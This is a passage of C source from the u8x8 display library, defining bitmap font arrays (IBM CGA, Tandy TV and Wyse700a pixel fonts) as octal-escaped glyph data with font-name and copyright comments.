"s\42\0\0\3A\177\177A\3\0\0\177\177@@\177\177\0\0\37\77``\77\37\0\0\177\177\60\30" "\60\177\177\0Cg<\30\177D$\0\0<|@@<|@\0\34<``<\34\0\0<|p\70" "p|<\0Dl\70\20\70lD\0\234\274\240\240\374|\0\0Ldt\134Ld\0\0\10\10>w" "AA\0\0\0\0\0ww\0\0\0AAw>\10\10\0\0\2\3\1\3\2\3\1\0pxLF" "Lxp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0{{\0\0\0\30<$\347\347$$\0h~\177I" "Cf \0Z~$$$~Z\0+/\374\374/+\0\0\0\0\0ww\0\0\0@\332\277\245" "\375Y\3\2\1\1\0\0\0\1\1\0~\201\231\245\245\201~\0\0&/)//(\0\10\34\66\42" "\10\34\66\42\10\10\10\10\70\70\0\0\0\10\10\10\10\10\10\0~\201\275\225\251\201~\0\1\1\1\1" "\1\1\1\1\0\6\17\11\17\6\0\0DD__DD\0\0\0\31\35\27\22\0\0\0\0\21\25\37" "\12\0\0\0\0\0\2\3\1\0\0\0\200\376~ >\36\0\6\17\11\177\177\1\177\177\0\0\0\20" "\20\0\0\0\0\0\200\240\340@\0\0\0\22\37\37\20\0\0\0\0&/)/&\0\0\42\66\34\10" "\42\66\34\10Oo\60\30lv\373\371Oo\60\30\314\356\273\221\221\325\177:Xl\366\362\60xME" "` \0\0y}\26\22\26|x\0x|\26\22\26}y\0r{)){r\0\0y}\25\25" "}y\0\0y}\26\22\26}y\0px++xp\0\0|~\13\11\177\177I\0\16\237\221\261" "\373J\0\0E}}TTD\0\0D||UUE\0\0F\177}UWF\0\0E}|T" "UE\0\0\1E}|D\0\0\0\0D|}E\1\0\0\2KyyK\2\0\0\1E||" "E\1\0\0I\177\177Ic>\34\0}}\31\61}}\0\0\1\31\177qYM\177>\0=}A@|<\0\0<|@A}=\0\0:{AA" "{:\0\0=}@@}=\0\0\14\134pq]\15\0\0A\177\177U\24\34\10\0~\177\1\11" "_v \0!uUT|x@\0 tTU}y@\0\2#uUU}{B!uUU" "}y@\0!uTT}y@\0 tWW|x@\0 tTT||TT\30<\244\244" "\344@\0\0\71}UT\134\30\0\0\70|TU]\31\0\0\2;}UU]\33\2\71}TT" "]\31\0\0\1E}|@\0\0\0\0D}}A\0\0\0\2\3E}}C\2\0\1E||" "A\1\0\0\60xJK\177>\2\0zz\12\12zp\0\0\62zJHx\60\0\0\60xHJ" "z\62\0\0\62{II{\62\0\0\62zJJz\62\0\0\62zHHz\62\0\0\10\10kk" "\10\10\0\0\270|dTL|:\0:zB@xx@\0\70x@Bzz@\0:{AA" "{z@\0:z@@zz@\0\30\270\240\242\372z\0\0\201\377\377\244$<\30\0\232\272\240\240" "\372z\0"; /* Fontname: -FreeType-PxPlus IBM CGA-Medium-R-Normal--8-80-72-72-P-68-ISO10646-1 Copyright: Outline (vector) version (c) 2015 VileR Glyphs: 96/781 BBX Build Mode: 3 */ const uint8_t u8x8_font_pxplusibmcga_r[772] U8X8_FONT_SECTION("u8x8_font_pxplusibmcga_r") = " \177\1\1\0\0\0\0\0\0\0\0\0\6__\6\0\0\0\0\7\7\0\7\7\0\0\24\177\177\24" "\177\177\24\0$.kk:\22\0\0Ff\60\30\14fb\0\60zO]\67zH\0\4\7\3\0" "\0\0\0\0\0\34>cA\0\0\0\0Ac>\34\0\0\0\10*>\34\34>*\10\10\10>>" "\10\10\0\0\0\200\340`\0\0\0\0\10\10\10\10\10\10\0\0\0\0``\0\0\0\0`\60\30\14" "\6\3\1\0>\177qYM\177>\0@B\177\177@@\0\0bsYIOf\0\0\42cII" "\177\66\0\0\30\34\26S\177\177P\0'gEE}\71\0\0<~KIy\60\0\0\3\3qy" "\17\7\0\0\66\177II\177\66\0\0\6OIi\77\36\0\0\0\0ff\0\0\0\0\0@v\66" "\0\0\0\0\10\34\66cA\0\0\0$$$$$$\0\0\0Ac\66\34\10\0\0\2\3QY" "\17\6\0\0>\177A]]\37\36\0|~\23\23~|\0\0A\177\177II\177\66\0\34>cA" "Ac\42\0A\177\177Ac>\34\0A\177\177I]Ac\0A\177\177I\35\1\3\0\34>cA" "Qsr\0\177\177\10\10\177\177\0\0\0A\177\177A\0\0\0\60p@A\177\77\1\0A\177\177\10" "\34wc\0A\177\177A@`p\0\177\177\16\34\16\177\177\0\177\177\6\14\30\177\177\0\34>cA" "c>\34\0A\177\177I\11\17\6\0\36\77!q\177^\0\0A\177\177\11\31\177f\0\42gMY" "s\42\0\0\3A\177\177A\3\0\0\177\177@@\177\177\0\0\37\77``\77\37\0\0\177\177\60\30" "\60\177\177\0Cg<\30\177D$\0\0<|@@<|@\0\34<``<\34\0\0<|p\70" "p|<\0Dl\70\20\70lD\0\234\274\240\240\374|\0\0Ldt\134Ld\0\0\10\10>w" "AA\0\0\0\0\0ww\0\0\0AAw>\10\10\0\0\2\3\1\3\2\3\1\0pxLF" "Lxp"; /* Fontname: -FreeType-PxPlus IBM CGA-Medium-R-Normal--8-80-72-72-P-68-ISO10646-1 Copyright: Outline (vector) version (c) 2015 VileR Glyphs: 18/781 BBX Build Mode: 3 */ const uint8_t u8x8_font_pxplusibmcga_n[220] U8X8_FONT_SECTION("u8x8_font_pxplusibmcga_n") = " :\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\10*>\34\34>*\10\10\10>>" "\10\10\0\0\0\200\340`\0\0\0\0\10\10\10\10\10\10\0\0\0\0``\0\0\0\0`\60\30\14" "\6\3\1\0>\177qYM\177>\0@B\177\177@@\0\0bsYIOf\0\0\42cII" "\177\66\0\0\30\34\26S\177\177P\0'gEE}\71\0\0<~KIy\60\0\0\3\3qy" "\17\7\0\0\66\177II\177\66\0\0\6OIi\77\36\0\0\0\0ff\0\0\0"; /* Fontname: -FreeType-PxPlus IBM CGA-Medium-R-Normal--8-80-72-72-P-68-ISO10646-1 Copyright: Outline (vector) version (c) 2015 VileR Glyphs: 64/781 BBX Build Mode: 3 */ const uint8_t u8x8_font_pxplusibmcga_u[517] U8X8_FONT_SECTION("u8x8_font_pxplusibmcga_u") = " _\1\1\0\0\0\0\0\0\0\0\0\6__\6\0\0\0\0\7\7\0\7\7\0\0\24\177\177\24" "\177\177\24\0$.kk:\22\0\0Ff\60\30\14fb\0\60zO]\67zH\0\4\7\3\0" "\0\0\0\0\0\34>cA\0\0\0\0Ac>\34\0\0\0\10*>\34\34>*\10\10\10>>" "\10\10\0\0\0\200\340`\0\0\0\0\10\10\10\10\10\10\0\0\0\0``\0\0\0\0`\60\30\14" "\6\3\1\0>\177qYM\177>\0@B\177\177@@\0\0bsYIOf\0\0\42cII" "\177\66\0\0\30\34\26S\177\177P\0'gEE}\71\0\0<~KIy\60\0\0\3\3qy" "\17\7\0\0\66\177II\177\66\0\0\6OIi\77\36\0\0\0\0ff\0\0\0\0\0@v\66" "\0\0\0\0\10\34\66cA\0\0\0$$$$$$\0\0\0Ac\66\34\10\0\0\2\3QY" "\17\6\0\0>\177A]]\37\36\0|~\23\23~|\0\0A\177\177II\177\66\0\34>cA" "Ac\42\0A\177\177Ac>\34\0A\177\177I]Ac\0A\177\177I\35\1\3\0\34>cA" "Qsr\0\177\177\10\10\177\177\0\0\0A\177\177A\0\0\0\60p@A\177\77\1\0A\177\177\10" "\34wc\0A\177\177A@`p\0\177\177\16\34\16\177\177\0\177\177\6\14\30\177\177\0\34>cA" "c>\34\0A\177\177I\11\17\6\0\36\77!q\177^\0\0A\177\177\11\31\177f\0\42gMY" "s\42\0\0\3A\177\177A\3\0\0\177\177@@\177\177\0\0\37\77``\77\37\0\0\177\177\60\30" "\60\177\177\0Cg<\30cA\0\0\0\0Ac>\34\0\0\10*>\34\34>*\10\0\10\10>" ">\10\10\0\0\0\200\340`\0\0\0\0\10\10\10\10\10\10\0\0\0\0``\0\0\0`\60\30\14" "\6\3\1\0\34>cIc>\34\0\0@B\177\177@@\0BcqYIof\0\42cII" "I\177\66\0\30\34\26S\177\177P\0/oIIIy\61\0<~KIIx\60\0\3\3qy" "\15\7\3\0\66\177III\177\66\0\6OIIi\77\36\0\0\0\0ff\0\0\0\0\0\200\346" "f\0\0\0\0\0\10\34\66cA\0\0$$$$$$\0\0\0Ac\66\34\10\0\2\3\1Y" "]\7\2\0>\177A]]\37\36\0|~\13\11\13~|\0A\177\177II\177\66\0\34>cA" "Ac\42\0A\177\177Ac>\34\0A\177\177I]Ac\0A\177\177I\35\1\3\0\34>cA" "Q\63r\0\177\177\10\10\10\177\177\0\0\0A\177\177A\0\0\60p@A\177\77\1\0A\177\177\10" "\34wc\0A\177\177A@`p\0\177\177\16\34\16\177\177\0\177\177\6\14\30\177\177\0>\177AA" "A\177>\0A\177\177I\11\17\6\0>\177AA\341\377\276\0A\177\177\11\31wf\0\0\42gM" "Ys\42\0\0\3A\177\177A\3\0\77\177@@@\177\77\0\37\77`@`\77\37\0\77\177`\70" "`\177\77\0cw\34\10\34wc\0\0\7OxxO\7\0GcqYMgs\0\0\0\177\177" "AA\0\0\1\3\6\14\30\60`\0\0\0AA\177\177\0\0\10\14\6\3\6\14\10\0\200\200\200\200" "\200\200\200\200\0\0\1\3\6\4\0\0 tTT" "wAA\0\0\0\0\357\357\0\0\0\0AAw>\10\10\0\2\3\1\3\2\3\1\0pxLF" "Lxp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\60}}\60\0\0\30<$\347\347$$\0\0h~\177" "ICf Z~$$$~Z\0\0+/\374\374/+\0\0\0\0\357\357\0\0\0@\232\277\245" "\245\375Y\2\2\2\0\0\0\2\2\0~\201\231\245\245\245\201~\0&/)//(\0\10\34\66\42" "\10\34\66\42\0\10\10\10\10\70\70\0\0\10\10\10\10\10\10\0~\201\275\225\225\251\201~\1\1\1\1" "\1\1\1\1\0\6\17\11\17\6\0\0\0DD__DD\0\0\21\31\35\27\22\0\0\0\21\25\25" "\37\12\0\0\0\0\4\6\3\1\0\0\0\200\376~ >\36\6\17\11\177\177\1\177\177\0\0\0\20" "\20\0\0\0\0\0\200\240\340@\0\0\0\0\22\37\37\20\0\0\0&/)/&\0\0\42\66\34\10" "\42\66\34\10Bo\77Xl\326\373ABo\77\30\314\356\273\221\225U\77Zh\324\372A\0 p]" "M@` px,%/zp\0pz/%,xp\0pz-%-zp\0r{-'" ".{q\0y}\26\22\26}y\0x|\27\23\27|x\0|~\13\11\177\177I\0<~B\302" "\302f$\0||UWVTD\0||VWUDD\0|~UUUVD\0}}TT" "TUE\0\0\0E\177~D\0\0\0\0D~\177E\0\0\0\2E}}E\2\0\0\1E|" "|E\1\0I\177\177Ic>\34\0~\177\11\23\42\177}\0\70|EGF|\70\0\70|FG" "E|\70\0\70~EEE~\70\0:\177EGF\177\71\0=\177BBB\177=\0\42\66\34\10" "\34\66\42\0\134>sIg>\35\0<}CB@|<\0<|BCA|<\0\70zAA" "Az\70\0=}@@@}=\0\0\14\134rs]\14\0A\177\177U\24\34\10\0~\177\1\11" "_v \0 tUW>x@\0 tVW=x@\0 vUU>x@\0\42wUW" ">{A\0!uTT\2\0\12{q\13\12{q\0\60xIKJx\60\0\60xJK" "Ix\60\0\60zIIIz\60\0\62{IKJ{\61\0\61yHHHy\61\0\0\10\10*" "*\10\10\0\270|dTL|:\0<}CB<|@\0<|BC=|@\0\70zAA" ":x@\0=}@@=}@\0\234\274\242\243\241\374|\0\201\377\377\244$<\30\0\235\275\240\240" "\240\375}"; /* Fontname: -FreeType-PxPlus TandyNew TV-Medium-R-Normal--8-80-72-72-P-70-ISO10646-1 Copyright: Outline (vector) version (c) 2015 VileR Glyphs: 96/781 BBX Build Mode: 3 */ const uint8_t u8x8_font_pxplustandynewtv_r[772] U8X8_FONT_SECTION("u8x8_font_pxplustandynewtv_r") = " \177\1\1\0\0\0\0\0\0\0\0\0\0\6__\6\0\0\0\3\7\0\0\7\3\0\24\177\177\24" "\177\177\24\0\0$.kk:\22\0Ff\60\30\14fb\0\60zO]\67zH\0\0\0\4\7" "\3\0\0\0\0\0\34>cA\0\0\0\0Ac>\34\0\0\10*>\34\34>*\10\0\10\10>" ">\10\10\0\0\0\200\340`\0\0\0\0\10\10\10\10\10\10\0\0\0\0``\0\0\0`\60\30\14" "\6\3\1\0\34>cIc>\34\0\0@B\177\177@@\0BcqYIof\0\42cII" "I\177\66\0\30\34\26S\177\177P\0/oIIIy\61\0<~KIIx\60\0\3\3qy" "\15\7\3\0\66\177III\177\66\0\6OIIi\77\36\0\0\0\0ff\0\0\0\0\0\200\346" "f\0\0\0\0\0\10\34\66cA\0\0$$$$$$\0\0\0Ac\66\34\10\0\2\3\1Y" "]\7\2\0>\177A]]\37\36\0|~\13\11\13~|\0A\177\177II\177\66\0\34>cA" "Ac\42\0A\177\177Ac>\34\0A\177\177I]Ac\0A\177\177I\35\1\3\0\34>cA" "Q\63r\0\177\177\10\10\10\177\177\0\0\0A\177\177A\0\0\60p@A\177\77\1\0A\177\177\10" "\34wc\0A\177\177A@`p\0\177\177\16\34\16\177\177\0\177\177\6\14\30\177\177\0>\177AA" "A\177>\0A\177\177I\11\17\6\0>\177AA\341\377\276\0A\177\177\11\31wf\0\0\42gM" "Ys\42\0\0\3A\177\177A\3\0\77\177@@@\177\77\0\37\77`@`\77\37\0\77\177`\70" "`\177\77\0cw\34\10\34wc\0\0\7OxxO\7\0GcqYMgs\0\0\0\177\177" "AA\0\0\1\3\6\14\30\60`\0\0\0AA\177\177\0\0\10\14\6\3\6\14\10\0\200\200\200\200" "\200\200\200\200\0\0\1\3\6\4\0\0 tTT" "wAA\0\0\0\0\357\357\0\0\0\0AAw>\10\10\0\2\3\1\3\2\3\1\0pxLF" "Lxp"; /* Fontname: -FreeType-PxPlus TandyNew TV-Medium-R-Normal--8-80-72-72-P-70-ISO10646-1 Copyright: Outline (vector) version (c) 2015 VileR Glyphs: 18/781 BBX Build Mode: 3 */ const uint8_t u8x8_font_pxplustandynewtv_n[220] U8X8_FONT_SECTION("u8x8_font_pxplustandynewtv_n") = " :\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\10*>\34\34>*\10\0\10\10>" ">\10\10\0\0\0\200\340`\0\0\0\0\10\10\10\10\10\10\0\0\0\0``\0\0\0`\60\30\14" "\6\3\1\0\34>cIc>\34\0\0@B\177\177@@\0BcqYIof\0\42cII" "I\177\66\0\30\34\26S\177\177P\0/oIIIy\61\0<~KIIx\60\0\3\3qy" "\15\7\3\0\66\177III\177\66\0\6OIIi\77\36\0\0\0\0ff\0\0"; /* Fontname: -FreeType-PxPlus TandyNew TV-Medium-R-Normal--8-80-72-72-P-70-ISO10646-1 Copyright: Outline (vector) version (c) 2015 VileR Glyphs: 64/781 BBX Build Mode: 3 */ const uint8_t u8x8_font_pxplustandynewtv_u[517] U8X8_FONT_SECTION("u8x8_font_pxplustandynewtv_u") = " _\1\1\0\0\0\0\0\0\0\0\0\0\6__\6\0\0\0\3\7\0\0\7\3\0\24\177\177\24" "\177\177\24\0\0$.kk:\22\0Ff\60\30\14fb\0\60zO]\67zH\0\0\0\4\7" "\3\0\0\0\0\0\34>cA\0\0\0\0Ac>\34\0\0\10*>\34\34>*\10\0\10\10>" ">\10\10\0\0\0\200\340`\0\0\0\0\10\10\10\10\10\10\0\0\0\0``\0\0\0`\60\30\14" "\6\3\1\0\34>cIc>\34\0\0@B\177\177@@\0BcqYIof\0\42cII" "I\177\66\0\30\34\26S\177\177P\0/oIIIy\61\0<~KIIx\60\0\3\3qy" "\15\7\3\0\66\177III\177\66\0\6OIIi\77\36\0\0\0\0ff\0\0\0\0\0\200\346" "f\0\0\0\0\0\10\34\66cA\0\0$$$$$$\0\0\0Ac\66\34\10\0\2\3\1Y" "]\7\2\0>\177A]]\37\36\0|~\13\11\13~|\0A\177\177II\177\66\0\34>cA" "Ac\42\0A\177\177Ac>\34\0A\177\177I]Ac\0A\177\177I\35\1\3\0\34>cA" "Q\63r\0\177\177\10\10\10\177\177\0\0\0A\177\177A\0\0\60p@A\177\77\1\0A\177\177\10" "\34wc\0A\177\177A@`p\0\177\177\16\34\16\177\177\0\177\177\6\14\30\177\177\0>\177AA" "A\177>\0A\177\177I\11\17\6\0>\177AA\341\377\276\0A\177\177\11\31wf\0\0\42gM" "Ys\42\0\0\3A\177\177A\3\0\77\177@@@\177\77\0\37\77`@`\77\37\0\77\177`\70" "`\177\77\0cw\34\10\34wc\0\0\7OxxO\7\0GcqYMgs\0\0\0\177\177" "AA\0\0\1\3\6\14\30\60`\0\0\0AA\177\177\0\0\10\14\6\3\6\14\10\0\200\200\200\200" "\200\200\200\200"; /* Fontname: -FreeType-Px437 Wyse700a-Medium-R-Normal--16-160-72-72-P-131-ISO10646-1 Copyright: Outline (vector) version (c) 2015 VileR Glyphs: 151/288 BBX Build Mode: 3 */ const uint8_t u8x8_font_px437wyse700a_2x2_f[7172] U8X8_FONT_SECTION("u8x8_font_px437wyse700a_2x2_f") = " \377\2\2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0p\370\374\374\374\374\370p\0\0\0\0\0\0\0\0\0\0\33\33\33\33\0\0" "\0\0\0\0\0\0\6\16\36\36\0\0\0\0\36\36\16\6\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0 \370\370\370 \370\370\370 \0\0\4\4\37\37\37\4\4\4\4\37\37" "\37\4\4\0\0\0\60xx\374\317\207\207\217\234\30\30\20\0\0\0\0\4\14\14\34xppy\37\17" "\17\6\0\0\0\0\60\60\60\60\0\200\300\340\360p\60\20\0\0\0\0\20\30\34\36\17\7\3\1\30\30" "\30\30\0\0\0\0\20\70\270\374\354\304\354|\70\270\220\200\200\0\0\6\17\17\37\31\21\21\33\17\17\37" "\37\31\20\0\0\0\0\20\36\36\36\16\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\340\360\370\374\34\14\4\0\0\0\0\0\0\0\0\0\3\7\17\37\34\30\20\0" "\0\0\0\0\0\0\0\0\0\0\0\4\14\34\374\370\360\340\0\0\0\0\0\0\0\0\0\20\30\34\37\17" "\7\3\0\0\0\200\240\240\340\340\300\300\300\300\340\340\240\240\200\0\0\0\2\2\3\3\1\1\1\1\3\3" "\2\2\0\0\0\200\200\200\200\200\360\360\360\360\200\200\200\200\200\0\0\0\0\0\0\0\7\7\7\7\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 <<\34\14\0\0" "\0\0\0\0\0\200\200\200\200\200\200\200\200\200\200\200\200\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\30\30\30\30\0\0" "\0\0\0\0\0\0\0\0\0\0\200\300\340\360x\70\30\10\0\0\0\0\10\14\16\17\7\3\1\0\0\0" "\0\0\0\0\0\0\360\370\370\374\14\204\304l\374\370\370\360\0\0\0\0\7\17\17\37\33\21\20\30\37\17" "\17\7\0\0\0\0\20\20\30\30\374\374\374\374\0\0\0\0\0\0\0\0\20\20\20\20\37\37\37\37\20\20" "\20\20\0\0\0\0\10\10\14\14\4\4\204\314\374\370x\60\0\0\0\0\30\34\36\36\27\23\21\21\30\30" "\30\30\0\0\0\0\10\10\14\14\204\204\204\204\314\374xx\60\0\0\0\10\10\30\30\20\20\20\20\31\37" "\17\17\6\0\0\0\200\300\340\360x<\374\374\374\374\0\0\0\0\0\0\1\1\1\1\21\21\37\37\37\37" "\21\21\0\0\0\0||||DDDD\304\304\204\204\4\0\0\0\10\10\30\30\20\20\20\20\30\37" "\17\17\7\0\0\0\360\370\370\374\214\204\204\204\204\204\0\0\0\0\0\0\7\17\17\37\30\20\20\20\31\37" "\17\17\6\0\0\0\14\14\14\14\4\204\304\344\374|<\34\0\0\0\0\0\0\0\0\37\37\37\37\0\0" "\0\0\0\0\0\0\60xx\374\314\204\204\204\314\374xx\60\0\0\0\6\17\17\37\31\20\20\20\31\37" "\17\17\6\0\0\0\60xx\374\314\204\204\204\214\374\370\370\360\0\0\0\0\0\20\20\20\20\20\20\30\37" "\17\17\7\0\0\0\0\0\0\0\60\60\60\60\0\0\0\0\0\0\0\0\0\0\0\0\14\14\14\14\0\0" "\0\0\0\0\0\0\0\0\0\0\60\60\60\60\0\0\0\0\0\0\0\0\0\0\0\20\34\34\34\14\0\0" "\0\0\0\0\0\0\200\300\340\360x<\34\14\4\0\0\0\0\0\0\0\0\1\3\7\17\36\34\30\20\0" "\0\0\0\0\0\0@@@@@@@@@@@@\0\0\0\0\2\2\2\2\2\2\2\2\2\2" "\2\2\0\0\0\0\0\0\0\4\14\34>" "\22\22\0\0\0\0\200\200\304\304LLXXPP\300\300\200\200\0\0\17\17\37\37\22\22\22\22\22\22" "\33\33\13\13\0\0\200\200\300\300PPXXLL\304\304\200\200\0\0\17\17\37\37\22\22\22\22\22\22" "\33\33\13\13\0\0\200\200\320\320XXLLXX\320\320\200\200\0\0\17\17\37\37\22\22\22\22\22\22" "\33\33\13\13\0\0\230\230\330\330@@@@XX\330\330\200\200\0\0\17\17\37\37\22\22\22\22\22\22" "\33\33\13\13\0\0\4\4LL\330\330\320\320\0\0\0\0\0\0\0\0\0\0\20\20\37\37\37\37\20\20" "\0\0\0\0\0\0\0\0PP\330\330\314\314\4\4\0\0\0\0\0\0\0\0\20\20\37\37\37\37\20\20" "\0\0\0\0\0\0\20\20XX\314\314\314\314\30\30\20\20\0\0\0\0\0\0\20\20\37\37\37\37\20\20" "\0\0\0\0\0\0\30\30XX\300\300\300\300\30\30\30\30\0\0\0\0\0\0\20\20\37\37\37\37\20\20" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0PP\330\330\210\210XXP\320\330\330\210\10\0\0\0\0\37\37\37\37\0\0\0\0\37" "\37\37\37\0\0\0\0\200\204\304\314LXX\320\320\200\200\0\0\0\0\7\17\17\37\30\20\20\20\30\37" "\17\17\7\0\0\0\0\200\220\320\330XLL\304\304\200\200\0\0\0\0\7\17\17\37\30\20\20\20\30\37" "\17\17\7\0\0\0\0\220\220\330\330LLX\330\320\220\200\0\0\0\0\7\17\17\37\30\20\20\20\30\37" "\17\17\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\30\230\230\330\300@@@\300\330\230\230\30\0\0\0\7\17\17\37\30\20\20\20\30\37" "\17\17\7\0\0\200\200\200\200\200\230\230\230\230\200\200\200\200\200\0\0\0\0\0\0\0\14\14\14\14\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\300\300\304\304\14\14\30\30\320\320\300\300\0\0\0\0\17\17\37\37\20\20\20\20\17\17" "\37\37\20\20\0\0\300\300\320\320\30\30\14\14\304\304\300\300\0\0\0\0\17\17\37\37\20\20\20\20\17\17" "\37\37\20\20\0\0\320\320\330\330\14\14\14\14\330\330\320\320\0\0\0\0\17\17\37\37\20\20\20\20\17\17" "\37\37\20\20\0\0\330\330\330\330\0\0\0\0\330\330\330\330\0\0\0\0\17\17\37\37\20\20\20\20\17\17" "\37\37\20\20\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\330\330\330\330\0\0\0\0\0\330\330\330\330\0\0\0\3\7GOLHHHh\177" "\77\77\37"; /* Fontname: -FreeType-Px437 Wyse700a-Medium-R-Normal--16-160-72-72-P-131-ISO10646-1 Copyright: Outline (vector) version (c) 2015 VileR Glyphs: 96/288 BBX Build Mode: 3 */ const uint8_t u8x8_font_px437wyse700a_2x2_r[3077] U8X8_FONT_SECTION("u8x8_font_px437wyse700a_2x2_r") = " \177\2\2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0p\370\374\374\374\374\370p\0\0\0\0\0\0\0\0\0\0\33\33\33\33\0\0" "\0\0\0\0\0\0\6\16\36\36\0\0\0\0\36\36\16\6\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0 \370\370\370 \370\370\370 \0\0\4\4\37\37\37\4\4\4\4\37\37" "\37\4\4\0\0\0\60xx\374\317\207\207\217\234\30\30\20\0\0\0\0\4\14\14\34xppy\37\17" "\17\6\0\0\0\0\60\60\60\60\0\200\300\340\360p\60\20\0\0\0\0\20\30\34\36\17\7\3\1\30\30" "\30\30\0\0\0\0\20\70\270\374\354\304\354|\70\270\220\200\200\0\0\6\17\17\37\31\21\21\33\17\17\37" "\37\31\20\0\0\0\0\20\36\36\36\16\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\340\360\370\374\34\14\4\0\0\0\0\0\0\0\0\0\3\7\17\37\34\30\20\0" "\0\0\0\0\0\0\0\0\0\0\0\4\14\34\374\370\360\340\0\0\0\0\0\0\0\0\0\20\30\34\37\17" "\7\3\0\0\0\200\240\240\340\340\300\300\300\300\340\340\240\240\200\0\0\0\2\2\3\3\1\1\1\1\3\3" "\2\2\0\0\0\200\200\200\200\200\360\360\360\360\200\200\200\200\200\0\0\0\0\0\0\0\7\7\7\7\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 <<\34\14\0\0" "\0\0\0\0\0\200\200\200\200\200\200\200\200\200\200\200\200\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\30\30\30\30\0\0" "\0\0\0\0\0\0\0\0\0\0\200\300\340\360x\70\30\10\0\0\0\0\10\14\16\17\7\3\1\0\0\0" "\0\0\0\0\0\0\360\370\370\374\14\204\304l\374\370\370\360\0\0\0\0\7\17\17\37\33\21\20\30\37\17" "\17\7\0\0\0\0\20\20\30\30\374\374\374\374\0\0\0\0\0\0\0\0\20\20\20\20\37\37\37\37\20\20" "\20\20\0\0\0\0\10\10\14\14\4\4\204\314\374\370x\60\0\0\0\0\30\34\36\36\27\23\21\21\30\30" "\30\30\0\0\0\0\10\10\14\14\204\204\204\204\314\374xx\60\0\0\0\10\10\30\30\20\20\20\20\31\37" "\17\17\6\0\0\0\200\300\340\360x<\374\374\374\374\0\0\0\0\0\0\1\1\1\1\21\21\37\37\37\37" "\21\21\0\0\0\0||||DDDD\304\304\204\204\4\0\0\0\10\10\30\30\20\20\20\20\30\37" "\17\17\7\0\0\0\360\370\370\374\214\204\204\204\204\204\0\0\0\0\0\0\7\17\17\37\30\20\20\20\31\37" 